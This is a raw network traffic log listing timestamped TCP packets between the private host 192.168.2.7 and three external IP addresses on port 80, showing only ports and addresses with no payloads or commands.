Sep 18, 2024 14:30:09.092331886 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.092346907 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.092360973 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.092372894 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.092385054 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.092394114 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.092401028 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.092408895 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.092417955 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.092436075 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.092442036 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.092448950 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.092462063 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.092474937 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.092477083 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.092477083 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.092485905 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.092502117 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.092514992 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.092518091 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.092518091 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.092528105 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.092540026 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.092544079 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.092557907 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.092561960 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.092576027 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.092588902 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.092598915 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.092598915 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.092614889 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.095657110 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.095705032 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.095730066 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.095741987 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.095756054 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.095762014 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.095769882 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.095778942 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.095782042 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.095793962 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.095794916 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.095808029 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.095814943 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.095841885 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.095901012 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.095921993 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.095933914 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.095974922 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.095979929 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.095979929 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.095988989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.096010923 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.096029043 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.096041918 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.096052885 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.096052885 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.096054077 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.096071005 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.096112013 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.096112013 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.096138954 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.096152067 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.096163034 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.096175909 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.096189976 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:09.096191883 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.096216917 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.096318960 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:09.096621990 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.096671104 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.096693993 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.096705914 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.096738100 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.096780062 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.096791029 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.096811056 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.096820116 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.096822977 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.096837044 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.096842051 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.096847057 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.096858025 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.096875906 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.096960068 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.096973896 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.097017050 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.097073078 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.097086906 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.097098112 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.097110987 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.097115993 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.097126007 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.097136021 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.097137928 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.097162962 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.097177029 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.097788095 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.097821951 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.097831964 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.097836018 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.097862005 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.097870111 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.097882032 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.097893953 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.097914934 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.097954035 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.097968102 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.097980976 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.098014116 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.098720074 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.098767996 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.098774910 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.098788977 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.098824024 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.098850012 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.098861933 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.098874092 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.098886013 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.098895073 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.098898888 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.098910093 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.098911047 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.098928928 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.098947048 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.098953962 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.098958969 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.098969936 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.098982096 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.098984003 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.098999977 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.099008083 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.099009991 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.099020004 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.099040031 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.099040985 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.099054098 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.099064112 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.099065065 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.099081039 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.099088907 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.099097013 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.099109888 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.099114895 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.099131107 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.099153996 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.102925062 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.102994919 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103007078 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103013992 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103018999 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103025913 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103034019 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.103037119 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103075027 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103087902 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103097916 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103105068 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103111029 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103117943 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103130102 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103161097 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.103161097 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.103168964 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103182077 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103204012 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103216887 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103223085 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.103230000 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103245974 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103272915 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.103272915 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.103293896 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103301048 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103379011 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.103476048 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103488922 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103499889 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103513002 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103533030 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103538990 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103543997 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103549957 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103555918 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103562117 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103564024 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.103564024 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.103575945 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103586912 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103591919 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103599072 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103662968 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103667974 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.103669882 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103677988 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103691101 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103755951 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103766918 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103771925 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103777885 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103785038 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.103786945 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103801012 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103807926 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103815079 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.103878975 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.103883982 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103899002 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103905916 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103919029 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103931904 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103945017 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.103945017 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.103969097 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103981018 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103986979 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.103995085 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104006052 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104047060 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104197025 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104202986 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104217052 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104223967 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104234934 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104240894 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104245901 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104250908 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104273081 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104278088 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104284048 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104290009 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104295969 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104301929 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104307890 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104321003 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104468107 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104479074 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104482889 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104497910 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104504108 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104509115 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104515076 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104521036 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104568005 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104635954 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104639053 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104652882 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104664087 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104676962 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104687929 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104700089 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104712009 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104720116 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104720116 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104724884 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104738951 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104754925 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104763031 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104763031 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104763031 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104773998 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104785919 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104805946 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104819059 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104827881 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104827881 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104830980 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104842901 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104852915 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104865074 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104883909 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104895115 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104907036 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104907036 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104907036 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104908943 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104922056 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.104979038 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104979038 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.104996920 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.105010033 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.105022907 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.105051994 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.105060101 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.105060101 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.105067015 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.105081081 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.105120897 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.105120897 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.105120897 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.105206966 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.105221987 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.105233908 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.105245113 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.105256081 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.105268002 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.105278969 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.105288982 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.105288982 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.105289936 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.105288982 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.105303049 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.105350018 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.105350018 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.105350018 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.111854076 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.111891031 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.111902952 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.111918926 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.111922979 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.111934900 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.111947060 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.111960888 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.111963987 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.111973047 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.111980915 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.111987114 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.111996889 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.111999035 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112026930 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112046003 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112088919 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112101078 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112112999 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112133980 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112137079 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112143993 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112149000 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112163067 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112171888 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112175941 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.112199068 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.112289906 CEST	49703	80	192.168.2.7	176.113.115.33
